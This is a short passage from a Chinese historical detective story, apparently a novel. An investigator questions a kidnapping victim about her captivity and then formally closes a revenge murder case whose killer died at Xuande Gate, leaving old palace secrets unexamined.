“孙小姐,”谢知津问,“那日被劫后,你可记得被关在何处?” 孙清荷想了想,低声道:“起初在一个很黑的地方,有流水声。后来好像是在一间很华丽的房间里,有熏香,有绸缎被褥。但我被蒙着眼,没看见人,只听见一个女子的声音,很温柔,问我饿不饿,冷不冷。” “她没伤害你?” “没有。”孙清荷摇头,“她还给我梳头,说我像她一个故人。” 沈念云的母亲沈云容,当年也是这般年纪,这般容貌吧。 谢知津沉默片刻,道:“此案已结。凶手沈念云,原名沈氏,系二十年前江宁沈家绣坊惨案遗孤。为报母仇,设计杀害李氏、赵氏、柳氏,三人,劫持孙氏未遂,最后于宣德门坠亡。所有涉案证物,悉数封存。” 他顿了顿,补充道: “案中牵涉的旧事秘闻,因年代久远、证人皆已亡故,且涉及宫闱,不再深究。卷宗止于此。”